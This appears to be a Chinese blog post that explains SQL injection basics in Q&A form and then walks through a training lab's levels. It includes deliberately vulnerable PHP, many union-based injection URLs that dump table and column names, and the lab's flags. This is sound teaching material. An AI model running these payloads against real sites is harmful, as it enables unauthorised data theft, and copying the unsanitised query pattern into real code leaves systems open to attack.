SQL注入——显错注入

SQL注入本质是什么?

把用户输入当做代码执行

sql注入的条件

用户可控输入和原本程序要执行代码,拼接用户输入且当作SQL语句去执行

注入的基本流程

order by的作用及含义

order by 用于判断显示位,order by 原有的作用是对字段进行一个排序,在sql注入中用order by 来判断排序,order by 1就是对一个字段进行排序,如果一共四个字段,你order by 5 数据库不知道怎么排序,于是乎就错误了无返回值

union select如何发挥作用

union为联合查询,a联合b进行了查询,为查询了前面的sql语句(原有的)后再进行后面的sq查询(我们添加的),但两张表联合查询的字段数必须相同。

information_schema是什么 

information_schema是mysql的系统自带表,用于查询数据,在mysql5.0以上版本中存在

加单引号和加 and 1=2有什么区别

有区别,单引号是为了闭合语句,而and 1=2是为了让union前面的语句无查询结果无输出,然后直接输出拼接进去union后面的那个语句的查询结果

and 是什么意思

and 为和的意思,一个语句中,当前一个正确,后一个错误时,如果是and连接整个语句返回是False

or是什么意思

or 为和的意思,一个语句中,当前一个正确,后一个错误时,如果是or连接整个语句返回是True

and 和 or 选择使用有什么讲究?

 And 语句执行时,如果and 前的语句返回False,那么and后面的语句根本不执行

除了单引号外还有其他的符号可以闭合吗?

实际上还是要看源码,常见的是单引号和双引号还有括号

limit的作用

limit 在注入中用于排序然后输出,limit a,b a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据

可以查讯多个字段内容吗

可以,可以使用语句Group_concat()函数进行输出

%23有什么作用

%23编码为#,用于注释后面的语句,防止SQL注入点后原本的SQL语句对SQL注入进行干扰

报错注入的原理

利用sql注入拼接sql语句,将报错信息输出时同时将我们想要的信息输出

闭合是什么

在sql查询中,代码比较严谨,括号和引号都得成双成对,引号内的默认是字符串不会当作SQL语句执行,所以必须闭合然后才能注入,当然有些SQL语句直接拼接,也就不用什么闭合了

SQL注入有数据库限制吗?

没有,常见的数据库都可以

SQL注入有动态脚本语言限制吗

没有限制

SQL注入如果没系统自带表怎么办

那就惨了,只能通过猜,不断的尝试,一般而言数据库的表也不会乱起名字,毕竟是团队协作的东西

系统自带库管理员不会修改吗?

一般而言并不会

union all 和 union 区别

如果输出的数据有相同的,Union只会输出一次,而union all都会输出

为什么用and 1=1正常 and 1=2报错来判断是否存在SQL注入

因为如果存在SQL注入,那么and就是和的意思,1=1是一个恒等式,然后因为原本能够查出数据,那么两个真就是True,但是1=2肯定是不可能的,这里就会返回一个False,然后因为和必须两个真才返回True,所以这里拼接就不成立返回False.

好了好了,可以进入正题了,进入今天的flag解题时间~~

掌控安全学院SQL注入靶场 (aqlab.cn)

$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='.$id;
mysqli_select_db($conn,'****');// 不想让你们知道库名
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){  
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;

 首先先判断是否存在注入  (重点看我们的输入是不是被当成代码执行)

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=2

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and  2=2

判断字段数     order by  看看数据有几列,测试得到:3列

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 1

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 2

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 3

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 order by 4

 

 

 

判断显错位

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 union select 1,2,3

 

查询数据库

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1union select 1,2,database()

 

查询表名  

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=1 union select 1,2,table_name from information_schema.tables where table_schema='error' limit 0,1

 

 

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=1 union select 1,2,table_name from information_schema.tables where table_schema = 'error' limit 1,1

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=1 union select 1,2,table_name from information_schema.tables where table_schema = 'error' limit 2,1

 

查询列名

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1 and 1=1 union select 1,2,column_name from information_schema.columns where table_schema='error_flag'  limit 0,1

 

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=1 union select 1,2,column_name from information_schema.columns where table_schema = 'error_flag' limit 1,1

 

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=2 union select 1,2,column_name from information_schema.columns where table_schema = 'error_flag' limit 2,1

 所以:

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1.1 union select 1,2,column_name from information_schema.columns where table_schema='error' and table_name='error_flag' limit 0,1

 http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1.1 union select 1,2,column_name from information_schema.columns where table_schema='error' and table_name='error_flag' limit 1,1

 

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=1 union select 1,2,column_name from information_schema.columns where table_schema = 'user' limit 0,1

 

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=1 union select 1,2,column_name from information_schema.columns where table_schema = 'user' limit 1,1

 

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=1 union select 1,2,column_name from information_schema.columns where table_schema = 'user' limit 2,1

 所以:

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1.1 union select 1,2,column_name from information_schema.columns where table_schema='error' and table_name='user' limit 0,1

 http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1.1 union select 1,2,column_name from information_schema.columns where table_schema='error' and table_name='user' limit 1,1

 

查询具体数据

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=2 union select 1,2,flag from error_flag limit0,1

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=2 union select 1,2,flag from error_flag limit1,1

  还可以看到

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=2 union select 1,2,flag from error_flag limit 2,1

 

http://inject2b.lab.aqlab.cn:81/Pass-01/index.php?id=1  and 1=2 union select 1,2,flag from error_flag limit 3,1

 

flag是zKaQ-Nf

第二题

掌控安全学院SQL注入靶场http://inject2b.lab.aqlab.cn:81/Pass-02/index.php?id=1

我输入的是这个:

http://inject2b.lab.aqlab.cn:81/Pass-02/index.php?id=1 and 1=2

但页面返回的是

所以这个是一个字符串的注入

判断字段数     order by  看看数据有几列,测试得到:3列

http://inject2b.lab.aqlab.cn:81/Pass-02/index.php?id=1' order by 1

发现根本不行

 

 http://inject2b.lab.aqlab.cn:81/Pass-02/index.php?id=1' order by 1 -- qwe

就可以了

这是因为--后面被自动忽略 ,不管有什么都不会输入进去

 

 

 判断显错位

 查询数据库

 

查询表名   

 

 查询列名

 

 

 

 

 

 

 

 查询具体数据

 但是不对 flag错误

用limit再找

 

提交flag就知道了第二个是对的

第三题 

 所以先找个闭合方法

再判断是否存在注入

 

 

判断字段数 

 

 

 

 判断显错位

 判断库名

判断表名

 

 

判断列名 

 

 

 

 

 

 

 查询具体数据

 

 

 

 按照顺序flag就是第三个

第四题

和第三题很像,就是单引号变成了双引号

 

flag就是zKaq-98K 

  • 8
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值